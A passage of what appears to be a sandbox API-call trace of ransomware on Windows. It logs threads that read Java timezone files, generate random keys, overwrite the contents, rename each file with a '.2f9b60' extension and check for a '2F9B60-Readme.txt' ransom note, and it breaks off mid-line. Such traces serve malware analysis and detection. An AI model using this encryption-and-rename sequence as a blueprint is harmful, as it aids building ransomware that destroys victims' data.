RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c340 [0167.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0da0 [0167.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c340) returned 1 [0167.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e90) returned 1 [0167.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19040 [0167.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c340 [0167.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a6daa0 [0167.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a78ed0 [0167.611] ReadFile (in: hFile=0x2bb0, lpBuffer=0x42a6daa0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32e3f810, lpOverlapped=0x0 | out: lpBuffer=0x42a6daa0*, lpNumberOfBytesRead=0x32e3f810*=0x41, lpOverlapped=0x0) returned 1 [0167.612] SetFilePointerEx (in: hFile=0x2bb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.612] WriteFile (in: hFile=0x2bb0, lpBuffer=0x42a78ed0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x32e3f814, lpOverlapped=0x0 | out: lpBuffer=0x42a78ed0*, lpNumberOfBytesWritten=0x32e3f814*=0x41, lpOverlapped=0x0) returned 1 [0184.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a00 [0184.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3530 [0184.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3530) returned 1 [0184.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a78ed0) returned 1 [0184.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a6daa0) returned 1 [0184.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c340) returned 1 [0184.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19040) returned 1 [0184.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a3530 [0184.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19040 [0184.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c340 [0184.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3560 [0184.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3560) returned 1 [0184.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a3560 [0184.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6da0 [0184.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6dd0 [0184.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6dd0) returned 1 [0184.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c340) returned 1 [0184.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19040) returned 1 [0184.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x431b6720 [0191.944] SetFilePointerEx (in: hFile=0x2bb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.945] WriteFile (in: hFile=0x2bb0, lpBuffer=0x431b6720*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x32e3f930, lpOverlapped=0x0 | out: lpBuffer=0x431b6720*, lpNumberOfBytesWritten=0x32e3f930*=0xfe, lpOverlapped=0x0) returned 1 [0207.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaee0 [0207.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d10 [0207.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d10) returned 1 [0207.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d6c0 [0207.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d10 [0207.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e00 [0207.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e00) returned 1 [0207.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0207.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42ac0e00 [0207.462] sprintf (in: _Dest=0x42ac0e00, _Format="%c%c" | out: _Dest="66") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e02, _Format="%c%c" | out: _Dest="da") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e04, _Format="%c%c" | out: _Dest="64") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e06, _Format="%c%c" | out: _Dest="8f") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e08, _Format="%c%c" | out: _Dest="bf") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e0a, _Format="%c%c" | out: _Dest="2e") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e0c, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e0e, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e10, _Format="%c%c" | out: _Dest="32") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e12, _Format="%c%c" | out: _Dest="ca") returned 2 [0207.462] sprintf (in: _Dest=0x42ac0e14, _Format="%c%c" | out: _Dest="71") returned 2 [0207.463] sprintf (in: _Dest=0x42ac0e16, _Format="%c%c" | out: _Dest="fc") returned 2 [0207.463] RtlInitAnsiString (in: DestinationString=0x32e3f9a8, SourceString="66da648fbf2ecc1a32ca71fc" | out: DestinationString="66da648fbf2ecc1a32ca71fc") [0207.463] RtlAnsiStringToUnicodeString (in: DestinationString=0x32e3f978, SourceString="66da648fbf2ecc1a32ca71fc", AllocateDestinationString=1 | out: DestinationString="66da648fbf2ecc1a32ca71fc") returned 0x0 [0207.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431acb20 [0207.463] wcscat (in: _Dest=0x431a0a80, _Source="66da64" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\66da64") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\66da64" [0207.463] wcscat (in: _Dest=0x431a0a80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\66da64.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\66da64.2f9b60" [0207.463] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\66da64.2f9b60", NtPathName=0x32e3f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\66da64.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c82a0 [0237.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c82a0) returned 1 [0237.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316edf0) returned 1 [0237.688] NtQueryInformationFile (in: FileHandle=0x2bb0, IoStatusBlock=0x32e3f9b8, FileInformation=0x32e3f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x32e3f9b8, FileInformation=0x32e3f9c8) returned 0x0 [0237.688] NtSetInformationFile (FileHandle=0x2bb0, IoStatusBlock=0x32e3f9b8, FileInformation=0x32e3f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0a80) returned 1 [0237.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431acb20) returned 1 [0237.965] FlushFileBuffers (hFile=0x2bb0) returned 1 [0238.241] CloseHandle (hObject=0x2bb0) returned 1 [0241.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3bf0 [0241.687] wcscpy (in: _Dest=0x431a3bf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.687] wcscat (in: _Dest=0x431a3bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.687] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3bf0) returned 1 [0243.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf280) returned 1 Thread: id = 2819 os_tid = 0x19f0 [0159.922] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\el_aaiun")) returned 0x20 [0165.802] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun", dwFileAttributes=0x20) returned 1 [0166.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\el_aaiun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2994 [0166.536] GetFileSizeEx (in: hFile=0x2994, lpFileSize=0x314afc40 | out: lpFileSize=0x314afc40*=77) returned 1 [0166.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fa0 [0166.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f40 [0166.537] NtQuerySystemTime (in: CurrentTime=0x314afb00 | out: CurrentTime=0x314afb00*=132462177716542000) returned 0x0 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x16fdeb7b [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x104a8b57 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x6ff43707 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x3921aaee [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x2aa8d66d [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x70181335 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x20ec14 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x48c446b [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x3f0eb2a0 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x2314e31a [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x4efb0e60 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x748b7290 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x11fd9066 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x7ba1faff [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x34ee1250 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x15921d53 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x2080dac3 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x7f7f7053 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x1980fef8 [0166.537] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x2abb7cbf [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x7d4f31c1 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x571fba80 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x44280ed8 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x3e8e2860 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x6c7f6e32 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x73142567 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x7d663c13 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x62820f4 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x42b2ce08 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x5e25deb [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x1f6b1c04 [0166.538] RtlRandomEx (in: Seed=0x314afaf0 | out: Seed=0x314afaf0) returned 0x257f5b7b [0166.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4840 [0166.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0166.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4810 [0166.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0166.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f40) returned 1 [0166.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f50 [0166.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0166.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aadaa0 [0166.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ab16b0 [0166.551] ReadFile (in: hFile=0x2994, lpBuffer=0x42aadaa0, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x314afaf0, lpOverlapped=0x0 | out: lpBuffer=0x42aadaa0*, lpNumberOfBytesRead=0x314afaf0*=0x4d, lpOverlapped=0x0) returned 1 [0166.552] SetFilePointerEx (in: hFile=0x2994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.552] WriteFile (in: hFile=0x2994, lpBuffer=0x42ab16b0*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x314afaf4, lpOverlapped=0x0 | out: lpBuffer=0x42ab16b0*, lpNumberOfBytesWritten=0x314afaf4*=0x4d, lpOverlapped=0x0) returned 1 [0183.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31b20 [0183.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31b50 [0183.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31b50) returned 1 [0183.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab16b0) returned 1 [0183.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aadaa0) returned 1 [0183.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0183.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f50) returned 1 [0183.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42d31b50 [0183.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f50 [0183.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0183.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31b80 [0183.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31b80) returned 1 [0183.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42d31b80 [0183.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31bb0 [0183.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31be0 [0183.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31be0) returned 1 [0183.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0183.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f50) returned 1 [0183.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x4313c720 [0188.113] SetFilePointerEx (in: hFile=0x2994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0188.113] WriteFile (in: hFile=0x2994, lpBuffer=0x4313c720*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x314afc10, lpOverlapped=0x0 | out: lpBuffer=0x4313c720*, lpNumberOfBytesWritten=0x314afc10*=0x102, lpOverlapped=0x0) returned 1 [0207.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6b00 [0207.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b00) returned 1 [0207.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d220 [0207.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6b00 [0207.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6ad0 [0207.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6ad0) returned 1 [0207.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x423a6ad0 [0207.264] sprintf (in: _Dest=0x423a6ad0, _Format="%c%c" | out: _Dest="8e") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ad2, _Format="%c%c" | out: _Dest="d1") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ad4, _Format="%c%c" | out: _Dest="00") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ad6, _Format="%c%c" | out: _Dest="77") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ad8, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ada, _Format="%c%c" | out: _Dest="44") returned 2 [0207.264] sprintf (in: _Dest=0x423a6adc, _Format="%c%c" | out: _Dest="88") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ade, _Format="%c%c" | out: _Dest="a8") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ae0, _Format="%c%c" | out: _Dest="f8") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ae2, _Format="%c%c" | out: _Dest="e5") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ae4, _Format="%c%c" | out: _Dest="d1") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ae6, _Format="%c%c" | out: _Dest="e7") returned 2 [0207.264] sprintf (in: _Dest=0x423a6ae8, _Format="%c%c" | out: _Dest="7a") returned 2 [0207.264] sprintf (in: _Dest=0x423a6aea, _Format="%c%c" | out: _Dest="e3") returned 2 [0207.264] sprintf (in: _Dest=0x423a6aec, _Format="%c%c" | out: _Dest="14") returned 2 [0207.264] sprintf (in: _Dest=0x423a6aee, _Format="%c%c" | out: _Dest="b8") returned 2 [0207.264] RtlInitAnsiString (in: DestinationString=0x314afc88, SourceString="8ed100773f4488a8f8e5d1e77ae314b8" | out: DestinationString="8ed100773f4488a8f8e5d1e77ae314b8") [0207.264] RtlAnsiStringToUnicodeString (in: DestinationString=0x314afc58, SourceString="8ed100773f4488a8f8e5d1e77ae314b8", AllocateDestinationString=1 | out: DestinationString="8ed100773f4488a8f8e5d1e77ae314b8") returned 0x0 [0207.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd98020 [0207.265] wcscat (in: _Dest=0x43156070, _Source="8ed10077" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\8ed10077") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\8ed10077" [0207.265] wcscat (in: _Dest=0x43156070, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\8ed10077.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\8ed10077.2f9b60" [0207.265] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\8ed10077.2f9b60", NtPathName=0x314afc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\8ed10077.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x43150610 [0237.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43150610) returned 1 [0237.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316b2e0) returned 1 [0237.689] NtQueryInformationFile (in: FileHandle=0x2994, IoStatusBlock=0x314afc98, FileInformation=0x314afca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x314afc98, FileInformation=0x314afca8) returned 0x0 [0237.689] NtSetInformationFile (FileHandle=0x2994, IoStatusBlock=0x314afc98, FileInformation=0x314afca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43156070) returned 1 [0237.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0237.964] FlushFileBuffers (hFile=0x2994) returned 1 [0238.240] CloseHandle (hObject=0x2994) returned 1 [0241.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae260 [0241.683] wcscpy (in: _Dest=0x202ae260, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.684] wcscat (in: _Dest=0x202ae260, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.684] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae260) returned 1 [0243.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf300) returned 1 Thread: id = 2820 os_tid = 0x10b4 [0159.923] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\freetown")) returned 0x20 [0161.776] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown", dwFileAttributes=0x20) returned 1 [0161.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\freetown"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4f0 [0161.778] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x3219fba0 | out: lpFileSize=0x3219fba0*=313) returned 1 [0161.778] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x135, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.778] ReadFile (in: hFile=0x4f0, lpBuffer=0x3219fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3219fb68, lpOverlapped=0x0 | out: lpBuffer=0x3219fb20*, lpNumberOfBytesRead=0x3219fb68*=0x4, lpOverlapped=0x0) returned 1 [0161.779] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5810 [0161.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5840 [0161.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5870 [0161.781] NtQuerySystemTime (in: CurrentTime=0x3219fa60 | out: CurrentTime=0x3219fa60*=132462177669118000) returned 0x0 [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x99e941f [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x3956877d [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x994bab2 [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x239bde4e [0161.781] 